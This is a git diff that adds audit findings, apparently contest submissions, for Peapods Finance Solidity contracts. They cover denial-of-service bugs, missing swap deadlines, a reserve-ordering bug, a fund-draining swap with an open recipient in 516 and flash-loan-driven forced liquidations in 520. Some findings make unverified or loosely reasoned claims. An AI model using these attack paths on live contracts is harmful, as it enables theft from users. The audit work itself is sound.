+File: TokenRewards.sol
+60:
+61: function initialize(address _indexFund, address _trackingToken, bool _leaveAsPaired, bytes memory _immutables)
+62: public
+63: initializer
+64: {
+
+/////SNIP
+83: LEAVE_AS_PAIRED_LP_TOKEN = _leaveAsPaired;
+84: trackingToken = _trackingToken; // SPT token or Voting Token
+
+```
+
+Hence in a situation where the Voting or staking pool reward tokens are the same, `trackingToken` will be set to either `StakingPoolToken` or `VotingPool`. Thus it will revert when the call is made from the contract that has not been set as the `trackingToken`.
+
+
+NOTE: the sponsor confirmed that the Voting or staking pool may or may not be the same in a private thread and I believe the Lead Judge can affirm this from the team.
+
+### Internal Pre-conditions
+
+the Voting or staking pool reward tokens are the same
+
+### External Pre-conditions
+
+NIL
+
+### Attack Path
+
+- the Voting or staking pool reward tokens are the same
+- `trackingToken` can be either stakin pool token or voting pool not both.
+Hence when `_update` is called during minting it wil revert as described int he root cause section
+
+### Impact
+
+This leads to a denial of service as users will not be able to stake in either the staking pool or the voting pool since minting will be blocked.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+There is no trivial solution to this except the protocol will strictly ensure that both staking pool token and voting pool token do not use the same reward tokens
\ No newline at end of file
diff --git a/509.md b/509.md
new file mode 100644
index 0000000..ba747ab
--- /dev/null
+++ b/509.md
@@ -0,0 +1,122 @@
+Sweet Lead Bat
+
+Medium
+
+# Use of `block.timestamp` as Deadline in UniswapDexAdapter has no protection
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol#L79
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/UniswapDexAdapter.sol#L102
+
+## Summary
+The `UniswapDexAdapter::swapV2Single` and `UniswapDexAdapter::swapV2SingleExactOut` functions in the contract use `block.timestamp` as the deadline parameter in Uniswap V2 swap functions. This introduces vulnerabilities such as transaction front-running, delayed execution, and lack of transaction expiry, which can lead to financial losses and poor user experience.
+
+## Vulnerability Details
+The vulnerability arises from the use of `block.timestamp` as the deadline in the following Uniswap V2 swap functions:
+1. `swapExactTokensForTokensSupportingFeeOnTransferTokens` in `swapV2Single`.
+2. `swapTokensForExactTokens` in `swapV2SingleExactOut`.
+
+Using `block.timestamp` as the deadline does not enforce a strict expiration time for the transaction. This allows validators to manipulate transaction ordering (front-running) and delays in transaction execution, which can result in unfavorable swap rates or unexpected outcomes due to market fluctuations.
+
+### Affected Code:
+```solidity
+ function swapV2Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient
+ ) external virtual override returns (uint256 _amountOut) {
+ uint256 _outBefore = IERC20(_tokenOut).balanceOf(_recipient);
+ if (_amountIn == 0) {
+ _amountIn = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+ }
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountIn);
+ IUniswapV2Router02(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+@> _amountIn, _amountOutMin, _path, _recipient, block.timestamp //@audit-issue using block.timestamp here means no deadline
+ );
+ return IERC20(_tokenOut).balanceOf(_recipient) - _outBefore;
+ }
+
+ function swapV2SingleExactOut(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountInMax,
+ uint256 _amountOut,
+ address _recipient
+ ) external virtual override returns (uint256 _amountInUsed) {
+ uint256 _inBefore = IERC20(_tokenIn).balanceOf(address(this));
+ if (_amountInMax == 0) {
+ _amountInMax = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountInMax);
+ }
+ address[] memory _path = new address[](2);
+ _path[0] = _tokenIn;
+ _path[1] = _tokenOut;
+ IERC20(_tokenIn).safeIncreaseAllowance(V2_ROUTER, _amountInMax);
+ IUniswapV2Router02(V2_ROUTER).swapTokensForExactTokens(
+@> _amountOut, _amountInMax, _path, _recipient, block.timestamp //@audit-issue using block.timestamp here means no deadline
+ );
+ uint256 _inRemaining = IERC20(_tokenIn).balanceOf(address(this)) - _inBefore;
+ if (_inRemaining > 0) {
+ IERC20(_tokenIn).safeTransfer(_msgSender(), _inRemaining);
+ }
+ _amountInUsed = _amountInMax - _inRemaining;
+ }
+```
+
+## Impact
+- **Financial Loss**: Users may receive fewer tokens than expected due to price fluctuations or front-running.
+- **Poor User Experience**: Transactions may remain pending for extended periods, leading to frustration and loss of trust.
+- **Security Risk**: Validators or malicious actors can exploit the lack of a deadline to manipulate transaction execution.
+- Failure to provide a proper deadline value enables pending transactions to be maliciously executed at a later point. Transactions that provide an insufficient amount of gas such that they are not mined within a reasonable amount of time, can be picked by malicious actors or MEV bots and executed later in detriment of the submitter. See [this issue](https://github.com/code-423n4/2022-12-backed-findings/issues/64) for an excellent reference on the topic (the author runs a MEV bot).
+
+## Tools Used
+- Manual code review.
+
+## Recommendations
+1. **Introduce a `deadline` Parameter**:
+ - Add a `deadline` parameter to both `swapV2Single` and `swapV2SingleExactOut` functions.
+ - Validate the `deadline` at the beginning of the function to ensure the transaction is executed within the specified timeframe.
+
+ Updated Function Signatures:
+ ```solidity
+ function swapV2Single(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountIn,
+ uint256 _amountOutMin,
+ address _recipient,
+ uint256 _deadline // Add deadline parameter
+ ) external virtual override returns (uint256 _amountOut);
+
+ function swapV2SingleExactOut(
+ address _tokenIn,
+ address _tokenOut,
+ uint256 _amountInMax,
+ uint256 _amountOut,
+ address _recipient,
+ uint256 _deadline // Add deadline parameter
+ ) external virtual override returns (uint256 _amountInUsed);
+ ```
+
+ Updated Function Logic:
+ ```solidity
+ // In swapV2Single
+ require(block.timestamp <= _deadline, "Transaction expired");
+ IUniswapV2Router02(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _path, _recipient, _deadline // Use user-provided deadline
+ );
+
+ // In swapV2SingleExactOut
+ require(block.timestamp <= _deadline, "Transaction expired");
+ IUniswapV2Router02(V2_ROUTER).swapTokensForExactTokens(
+ _amountOut, _amountInMax, _path, _recipient, _deadline // Use user-provided deadline
+ );
+ ```
diff --git a/510.md b/510.md
new file mode 100644
index 0000000..b621765
--- /dev/null
+++ b/510.md
@@ -0,0 +1,68 @@
+Nice Lipstick Nightingale
+
+Medium
+
+# Users will experience unexpected lockup periods due to parameter update race conditions
+
+### Summary
+
+The lack of slippage protection for the lockup period in VotingPool.sol will cause unexpected lock durations for users as admin parameter updates can be processed in the same block as user stake transactions.
+
+### Root Cause
+
+In VotingPool.sol:39-40 the stake function does not validate the expected lockup period, allowing transactions to execute with different parameters than when they were initiated,if the admin changes the lock period at the same time
+```solidity
+function stake(address _asset, uint256 _amount) external override {
+ require(_amount > 0, "A");
+ IERC20(_asset).safeTransferFrom(_msgSender(), address(this), _amount);
+ stakes[_msgSender()][_asset].lastStaked = block.timestamp;
+ stakes[_msgSender()][_asset].lockupPeriod = lockupPeriod; // @audit: Uses global lockupPeriod without validation
+ _updateUserState(_msgSender(), _asset, _amount);
+ emit AddStake(_msgSender(), _asset, _amount);
+}
+```
+
+
+### Internal Pre-conditions
+
+Admin needs to call setLockupPeriod() to change lockup period from 7 days to 40 days
+User needs to have a pending stake transaction expecting 7 days lockup
+Both transactions need to be in the same block
+
+### External Pre-conditions
+
+Network congestion needs to allow multiple transactions in the same block like etherium
+
+### Attack Path
+
+User initiates stake transaction expecting 7-day lockup period
+Admin submits lockup period update to 40 days for legitimate reasons
+Both transactions end up in the same block
+Admin's update processes first
+User's stake processes with unexpected 40-day lockup
+
+### Impact
+
+The users suffer unexpected lockup extensions. While funds remain safe and the admin is trusted, users' funds get locked for longer than intended (e.g., 40 days instead of 7 days).
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add slippage protection for lockup period:
+```solidity
+solidity
+CopyInsert
+function stake(
+ address _asset,
+ uint256 _amount,
+ uint256 expectedLockupPeriod
+) external {
+ require(expectedLockupPeriod == lockupPeriod, "Lockup period changed");
+ // rest of the function
+}
+```
+This ensures users' transactions revert if the lockup period changes between transaction submission and execution, preventing unexpected lock durations.
+
diff --git a/511.md b/511.md
new file mode 100644
index 0000000..3fc7d2c
--- /dev/null
+++ b/511.md
@@ -0,0 +1,70 @@
+Brilliant Fiery Sheep
+
+Medium
+
+# `LendingAssetVault.whitelistDeposit` will be DOSed when the asset amount is higher that `vaultUtilization`
+
+### Summary
+
+`LendingAssetVault.whitelistDeposit` is used by vaults to deposit an asset. This deposited amount is subtracted from `vaultUtilization` which can be a lower value leading to a denial of service.
+
+This is similar to a previously fixed issue in `LendingAssetVault.redeemFromVault`
+
+### Root Cause
+
+`LendingAssetVault.whitelistDeposit` subtracts `_assetAmt` from vaultUtilization[_vault]
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L246-L254
+
+
+```solidity
+ function whitelistDeposit(uint256 _assetAmt) external override onlyWhitelist {
+ address _vault = _msgSender();
+ _updateAssetMetadataFromVault(_vault);
+ vaultDeposits[_vault] -= _assetAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _assetAmt;
+ vaultUtilization[_vault] -= _assetAmt;
+ _totalAssetsUtilized -= _assetAmt;
+ IERC20(_asset).safeTransferFrom(_vault, address(this), _assetAmt);
+ emit WhitelistDeposit(_vault, _assetAmt);
+ }
+```
+
+The issue is that `vaultUtilization` is regularly modified by `_updateAssetMetadataFromVault` using the change in `cbr` which can cause it to be a lower value than the assets.
+
+```solidity
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+```
+
+The subtraction `vaultUtilization[_vault] -= _assetAmt;` can therefore cause an underflow leading to a denial of service.
+A similar logic applied to `vaultDeposits[_vault]` should also be applied to `vaultUtilization[_vault]`.
+
+### Internal Pre-conditions
+
+`vaultUtilization[_vault]` is less than `_assetAmt`
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. A vault attempts to repay an asset where `FraxlendPairCore.repayAsset` is called.
+2. This leads to `LendingAssetVault.whitelistDeposit` being called.
+3. The subtraction `vaultUtilization[_vault] -= _assetAmt` fails due to an underflow.
+
+### Impact
+
+Denial of service of a vault trying to repay an asset. This could be to avoid a liquidation making it time sensitive.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Subtract the lower of the values between `vaultUtilization[_vault]` and `_assetAmt` similar to the logic applied to `vaultDeposits[_vault] `.
+
diff --git a/512.md b/512.md
new file mode 100644
index 0000000..2d2c372
--- /dev/null
+++ b/512.md
@@ -0,0 +1,59 @@
+Savory Cream Puppy
+
+Medium
+
+# Incorrect reserve mapping leads to fault swap
+
+### Summary
+
+The function `_getSwapAmt` incorrectly assumes that `_r0` corresponds to `_t0` and `_r1` corresponds to `_t1`. However, Uniswap V2's `getReserves()` returns reserves based on the **sorted** order of token addresses, not based on input order. This mismatch leads to **incorrect swap calculations**, resulting in potential losses and arbitrage opportunities for attackers.
+
+### Root Cause
+
+- The function retrieves reserves via:
+ ```solidity
+ (uint112 _r0, uint112 _r1) = DEX_ADAPTER.getReserves(DEX_ADAPTER.getV2Pool(_t0, _t1));
+ ```
+- `UniswapDexAdapter` contract:
+
+ ```solidity
+ function getReserves(address _pool) external view virtual override returns (uint112 _reserve0, uint112 _reserve1) {
+ (_reserve0, _reserve1,) = IUniswapV2Pair(_pool).getReserves();
+ }
+ ```
+
+- It assumes `_r0` belongs to `_t0` and `_r1` belongs to `_t1`.
+- V2 reserves are always returned in **ascending order of token addresses**.
+- If `_t0 > _t1`, `_r0` will belong to `_t1`, and `_r1` will belong to `_t0`, breaking the swap calculation.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L392
+
+### Internal Pre-conditions
+
+
+### External Pre-conditions
+
+
+### Attack Path
+
+
+### Impact
+
+The amount of `_pairedLpToken` that needs to be swapped may be miscalculated, causing the swap to fail.
+Even if the swap succeeds, it does not work as intended by the protocol, which breaks the design of V2Pool and the `AutoCompoundingPodLp` contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```solidity
+ function _getSwapAmt(address _t0, address _t1, address _swapT, uint256 _fullAmt) internal view returns (uint256) {
+ (uint112 _r0, uint112 _r1) = DEX_ADAPTER.getReserves(DEX_ADAPTER.getV2Pool(_t0, _t1));
++++ (address token0,) = sortTokens(_t0, _t1);
++++ (_r0, _r1) = _t0 == token0 ? (_r0, _r1) : (_r1, _r0);
+ uint112 _r = _swapT == _t0 ? _r0 : _r1;
+ return (_sqrt(_r * (_fullAmt * 3988000 + _r * 3988009)) - (_r * 1997)) / 1994;
+ }
+```
\ No newline at end of file
diff --git a/513.md b/513.md
new file mode 100644
index 0000000..161cf32
--- /dev/null
+++ b/513.md
@@ -0,0 +1,69 @@
+Huge Cyan Cod
+
+Medium
+
+# Update the price per block methodology is riskyin volatile situations
+
+### Summary
+
+Update the price per block methodology is riskyin volatile situations
+
+### Root Cause
+
+In [FraxlendPairCore contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L532C1-L550C10), exchange rate is only updated once per block.
+
+```solidity
+ if (_exchangeRateInfo.lastTimestamp != block.timestamp) {
+ // Get the latest exchange rate from the dual oracle
+ bool _oneOracleBad;
+ (_oneOracleBad, _lowExchangeRate, _highExchangeRate) = IDualOracle(_exchangeRateInfo.oracle).getPrices();
+
+ // If one oracle is bad data, emit an event for off-chain monitoring
+ if (_oneOracleBad) emit WarnOracleData(_exchangeRateInfo.oracle);
+
+ // Effects: Bookkeeping and write to storage
+ _exchangeRateInfo.lastTimestamp = uint184(block.timestamp);
+ _exchangeRateInfo.lowExchangeRate = _lowExchangeRate;
+ _exchangeRateInfo.highExchangeRate = _highExchangeRate;
+ exchangeRateInfo = _exchangeRateInfo;
+ emit UpdateExchangeRate(_lowExchangeRate, _highExchangeRate);
+ } else {
+ // Use default return values if already updated this block
+ _lowExchangeRate = _exchangeRateInfo.lowExchangeRate;
+ _highExchangeRate = _exchangeRateInfo.highExchangeRate;
+ }
+```
+
+Liquidations can only be happened once LTV becomes greater than max LTV and the low exchange price is used for this calculation.
+
+This calculation will be risky because we know that Chainlink updates the price whenever the deviation of the price exceeds the threshold. Price can be updated multiple times in block by the Chainlink in big price drop scenarios.
+
+But the fraxlend codebase doesn't allow to check the price again in the same block. It may delay the liquidation scenarios and it may cause bad debt due to price fluctation.
+
+
+
+### Internal Pre-conditions
+
+No need
+
+### External Pre-conditions
+
+1. Big price drops should happen
+
+### Attack Path
+
+1. At the beginning of the block an user depositted asset to the lending pair and the exchange rate is updated in this call
+2. In the same block, a big price drop is happened and Chainlink is updated the aggregator's answer
+3. The liquidation calls won't work because exchange rate can be updated once per block
+
+### Impact
+
+It will cause DoS for the positions which should be liquidated and also it may cause bad debt depends on the price drop.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Allow exchange rate update multiple times for one block
\ No newline at end of file
diff --git a/514.md b/514.md
new file mode 100644
index 0000000..60db491
--- /dev/null
+++ b/514.md
@@ -0,0 +1,77 @@
+Bent Beige Dachshund
+
+High
+
+# `processPreSwapFeesAndSwap()` will revert if the Staking pool token and Voting pool tokens rewards are not the same
+
+### Summary
+
+The developer confirmed in a Private thread that the `StakingPoolToken` and `VotingPoolToken` rewards tokens may or may not be the same.
+
+The leads to an issue whereby the the `VotingPool` Token cannot be minted by anymore
+
+### Root Cause
+
+As shown below, `_update()` is called when `mint()` is called from either the `StakingPoolToken` contract or the `VotingPool` contract and the execution flow is shown below
+
+```solidity
+File: VotingPool.sol
+114: function _update(address _from, address _to, uint256 _value) internal override {
+115: super._update(_from, _to, _value);
+116: require(_from == address(0) || _to == address(0), "NT");
+117: if (_from != address(0)) {
+118: @> TokenRewards(REWARDS).setShares(_from, _value, true);
+
+
+File: TokenRewards.sol
+102: function _setShares(address _wallet, uint256 _amount, bool _sharesRemoving) internal {
+103: @> _processFeesIfApplicable();
+
+File: TokenRewards.sol
+137: function _processFeesIfApplicable() internal {
+138:@> IDecentralizedIndex(INDEX_FUND).processPreSwapFeesAndSwap();
+139: }
+
+```
+
+The problem is that the `processPreSwapFeesAndSwap()` function which is in line of the execution flow, requires that the caller must be the `StakingPoolToken` rewards token. Thus in a situation where the `VotingPool` and the `StakingPoolToken` have _different_ rewards tokens, then the function will revert when it is called from the `VotingPool`
+
+```solidity
+File: DecentralizedIndex.sol
+286: function processPreSwapFeesAndSwap() external override lock {
+287: @> require(_msgSender() == IStakingPoolToken(lpStakingPool).POOL_REWARDS(), "R");
+288: _processPreSwapFeesAndSwap();
+289: }
+
+```
+
+NB: The sponsor confirmed that the reward token for the `VotingPool` and the `StakingPoolToken` contracts may or may not be the same.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L97-L103
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L137-L139
+
+### Internal Pre-conditions
+
+the `VotingPool` and the `StakingPoolToken` have _different_ rewards tokens
+
+### External Pre-conditions
+
+NIL
+
+### Attack Path
+
+- the `VotingPool` and the `StakingPoolToken` have _different_ rewards tokens
+- when a user stakes in the `VotingPool` contract the function will revert because the `POOL_REWARDS()` is not the same for the the `VotingPool` and the `StakingPoolToken` contracts
+
+### Impact
+
+This can lead to a DOS thus blocking users who intend to stake in the `VotingPool` contract
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider modifying the `processPreSwapFeesAndSwap()` to ensure it can allow calls from both the `VotingPool` and the `StakingPoolToken` contracts irrespective of whether or not their reward tokens are the same.
\ No newline at end of file
diff --git a/515.md b/515.md
new file mode 100644
index 0000000..789f5b0
--- /dev/null
+++ b/515.md
@@ -0,0 +1,46 @@
+Huge Cyan Cod
+
+Medium
+
+# Previous utilization rate is incorrectly calculated
+
+### Summary
+
+Previous utilization rate is incorrectly calculated
+
+### Root Cause
+
+In [FraxlendPairCore contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L457), previous utilization rate is incorrectly calculated because it substract the borrowing amount from the value and it makes the calculation completely wrong.
+
+```solidity
+ uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);
+ // @audit this is totally wrong because _totalAssetsAvailable
+ // is counting the borrow amount and prevUtilization will always be higher than actual
+ _prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+```
+
+It makes the previous utilization rate is always higher than expected because in denominator _totalAssetsAvailable is the substracted version of available asset ( borrowing is substracted ).
+
+### Internal Pre-conditions
+
+No need
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+No need
+
+### Impact
+
+This variable is used for triggering the addInterest call by external vaults. If the difference exceeds the threshold it updates the rate. It will exceed the threshold unexpectedly and it will cause gas griefing for the user. Because this adjustment is designed for gas saving.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Calculate the previous rate without substracting the borrow amount
\ No newline at end of file
diff --git a/516.md b/516.md
new file mode 100644
index 0000000..288ac03
--- /dev/null
+++ b/516.md
@@ -0,0 +1,55 @@
+Old Blush Hornet
+
+High
+
+# any one can steal fund from the contact
+
+### Summary
+
+.
+
+### Root Cause
+
+in the contract `AerodromeDexAdapter` the functions `swapV2Single` and `swapV3Single` allow any one to call it , however a bad actor can steal funds because anyone can set `_recipient` to do the swap
+
+```solidity
+IAerodromeRouter(V2_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
+ _amountIn, _amountOutMin, _routes, _recipient, block.timestamp
+ );
+```
+
+he bypass sending anything by set amount in to 0
+
+```solidity
+if (_amountIn == 0) {
+ _amountIn = IERC20(_tokenIn).balanceOf(address(this));
+ } else {
+ IERC20(_tokenIn).safeTransferFrom(_msgSender(), address(this), _amountIn);
+ }
+```
+
+### Internal Pre-conditions
+
+.
+
+### External Pre-conditions
+
+.
+
+### Attack Path
+
+bad actor call swapV2Single or swapV3Single
+
+### Impact
+
+loss of fund
+
+### PoC
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/dex/AerodromeDexAdapter.sol#L54
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/dex/AerodromeDexAdapter.sol#L82
+
+### Mitigation
+
+change _recipient to address(this) .
\ No newline at end of file
diff --git a/517.md b/517.md
new file mode 100644
index 0000000..65c9bd6
--- /dev/null
+++ b/517.md
@@ -0,0 +1,45 @@
+Alert Lime Panda
+
+High
+
+# Improper Handling of Paused Tokens in `TokenRewards._resetExcluded()` Function
+
+## Summary
+The function `_resetExcluded` in `TokenRewards` contract does not properly handle tokens that have been paused in the `REWARDS_WHITELISTER`. As a result, the excluded rewards for paused tokens may still be updated, which can lead to inconsistent or incorrect reward calculations for stakers.
+
+## Vulnerability Detail
+In the `_resetExcluded` function, there is a loop that iterates over all rewards tokens. Inside the loop, the function checks if each reward token has been paused by the `REWARDS_WHITELISTER`. However, the logic fails to take into account the paused state of tokens. Specifically, the `REWARDS_WHITELISTER.paused(_token)` check is not used to skip the update of the excluded rewards for tokens that are paused.
+
+Here is the problematic code:
+
+```solidity
+for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+@> address _token = _allRewardsTokens[_i]; // @audit REWARDS_WHITELISTER paused not considered
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+}
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L258C5-L263C6
+
+In this loop, the function attempts to update the excluded rewards for each token, but it does not consider whether the token has been paused. If a token is paused, the excluded reward calculation should be skipped to avoid improper reward distribution.
+
+## Impact
+- Inaccurate reward distribution: If paused tokens are not properly handled, users could receive incorrect reward amounts, either by having their excluded rewards incorrectly updated or by missing out on rewards for paused tokens while performing [`setShares()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L97).
+
+## Code Snippet
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L258C5-L263C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+- Add the check for paused tokens in the loop to prevent updating rewards for paused tokens.
+- Modify the _resetExcluded function to respect the paused state of tokens as follows:
+```diff
+for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
++ if (REWARDS_WHITELISTER.paused(_token)) {
++ continue; // Skip paused tokens
++ }
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+}
+```
\ No newline at end of file
diff --git a/518.md b/518.md
new file mode 100644
index 0000000..dfeda25
--- /dev/null
+++ b/518.md
@@ -0,0 +1,60 @@
+Huge Cyan Cod
+
+Medium
+
+# Incorrect withdraw fee is calculated for the owner
+
+### Summary
+
+Incorrect withdraw fee is calculated for the owner
+
+### Root Cause
+
+In [FraxlendPair contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPair.sol#L452), withdraw fee function doesn't update the accrued interest and it will get less amount of fee from the contract.
+
+```solidity
+ function withdrawFees(uint128 _shares, address _recipient) external onlyOwner returns (uint256 _amountToTransfer) {
+ if (_recipient == address(0)) revert InvalidReceiver();
+
+&> // @audit _addInterest is needed here
+
+ // Grab some data from state to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Take all available if 0 value passed
+ if (_shares == 0) _shares = balanceOf(address(this)).toUint128();
+
+ // We must calculate this before we subtract from _totalAsset or invoke _burn
+ _amountToTransfer = _totalAsset.toAmount(_shares, true);
+
+ _approve(address(this), msg.sender, _shares);
+ _redeem(_totalAsset, _amountToTransfer.toUint128(), _shares, _recipient, address(this), false);
+ uint256 _collateralAmount = userCollateralBalance[address(this)];
+ _removeCollateral(_collateralAmount, _recipient, address(this));
+ emit WithdrawFees(_shares, _recipient, _amountToTransfer, _collateralAmount);
+ }
+```
+
+### Internal Pre-conditions
+
+No need
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+No need
+
+### Impact
+
+Owner will get less amount of asset after withdrawing the fee, it's loss of funds for the protocol. The loss depends on the usage ratio of the contract. If withdraw fee is called after long time ago ( contract didn't get any action for a while ), the loss will be higher than expected.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Apply the interest before calculation.
\ No newline at end of file
diff --git a/519.md b/519.md
new file mode 100644
index 0000000..a326725
--- /dev/null
+++ b/519.md
@@ -0,0 +1,62 @@
+Huge Cyan Cod
+
+Medium
+
+# Last position's liquidation price is incorrectly calculated
+
+### Summary
+
+Last position's liquidation price is incorrectly calculated
+
+### Root Cause
+
+In [spTKNMinimalOracle](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L185), the debond fee is substracted from the price calculation. But we already know that the last withdrawer is not impacted from debond fee, so actually spTKN/base price is calculated less than actual
+
+```solidity
+
+ function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ // pull from UniV3 TWAP if passed as 0
+ if (_price18 == 0) {
+ bool _isBadData;
+ (_isBadData, _price18) = _getDefaultPrice18(); // USDC / WETH = 3000e18 USDC
+ if (_isBadData) {
+ return 0;
+ }
+ }
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+
+ // adjust current price for spTKN pod unwrap fee, which will end up making the end price
+ // (spTKN per base) higher, meaning it will take more spTKN to equal the value
+ // of base token. This will more accurately ensure healthy LTVs when lending since
+ // a liquidation path will need to account for unwrap fees
+&> _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18);
+ }
+```
+
+> Note: there is also another bug here, it's not related with this one. It's submitted in another submission
+
+### Internal Pre-conditions
+
+1. Last pod token owner's position is slightly higher than max LTV
+
+### External Pre-conditions
+
+No need
+
+### Attack Path
+
+1. The last pTKN's owner's position in lending pair is slightly higher than max LTV
+2. It should be liquidated normally because there is no debond fee for the last pTKN owner but the oracle will substract the fee
+3. It can't be liquidated in current situation
+
+### Impact
+
+A position which should be liquidateable can't be liquidated
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Do not apply the debond fee for the last pTKN's owner's position
\ No newline at end of file
diff --git a/520.md b/520.md
new file mode 100644
index 0000000..b62ba6e
--- /dev/null
+++ b/520.md
@@ -0,0 +1,55 @@
+Nice Lipstick Nightingale
+
+Medium
+
+# Interest rate manipulation through utilization rate allows forced liquidations of healthy positions
+
+### Summary
+
+The lack of utilization rate manipulation protection in FraxlendPairCore.sol will cause forced liquidations of healthy positions as malicious users can artificially spike interest rates by manipulating the utilization rate through large borrows, pushing positions that are close to their liquidation threshold into liquidation, even FraxlendPairCore implements block protection through minURChangeForExternalAddInterest, the interest rate can still be manipulated in edge cases when utilization rate changes exceed the minimum threshold, allowing for forced liquidations of positions near their limits.
+
+### Root Cause
+
+In FraxlendPairCore.sol:316-317:
+
+```solidity
+CopyInsert
+uint256 _newUtilizationRate =
+ _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+The utilization rate directly affects interest rates and is calculated as (totalBorrow / totalAssets) * UTIL_PREC. A malicious
+```
+
+user can manipulate this by:
+
+The issue stems from the ability to manipulate interest rates and perform liquidations in the same transaction, leaving no opportunity for position owners to react.The protection only prevents interest updates when the rate change is below a threshold. However, if an attacker can cause a large enough utilization change, the protection is bypassed.
+
+### Internal Pre-conditions
+
+Positions must exist near the liquidation threshold
+The current utilization rate must be non-zero
+The pool must have enough liquidity to allow large borrows like using a flash loan
+
+
+### External Pre-conditions
+
+Sufficient liquidity available for large borrows and Liquidation rewards > gas costs
+
+### Attack Path
+
+Identify positions near the liquidation threshold
+Calculate required to borrow an amount to exceed minURChangeForExternalAddInterest
+Execute large borrows causing significant utilization increase
+Interest rate update triggers due to large change
+Liquidate affected positions in the same transaction
+
+### Impact
+
+Borrowers lose collateral through unavoidable liquidations, Attacker profits from liquidation rewards with zero risk,No possible user defense due to atomic execution, this will be a great chance for MEVs
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Require multiple blocks for large rate changes
\ No newline at end of file
diff --git a/521.md b/521.md
new file mode 100644
index 0000000..4594118
--- /dev/null
+++ b/521.md
@@ -0,0 +1,61 @@
+Huge Cyan Cod
+
+Medium
+
+# Debond fee is counted multiple times in price oracle
+
+### Summary
+
+Debond fee is counted multiple times in price oracle
+
+### Root Cause
+
+In [spTKNMinimalOracle contract](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L170), functions count the debond fee for the correct price calculation.
+
+```solidity
+ function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ // pull from UniV3 TWAP if passed as 0
+ if (_price18 == 0) {
+ bool _isBadData;
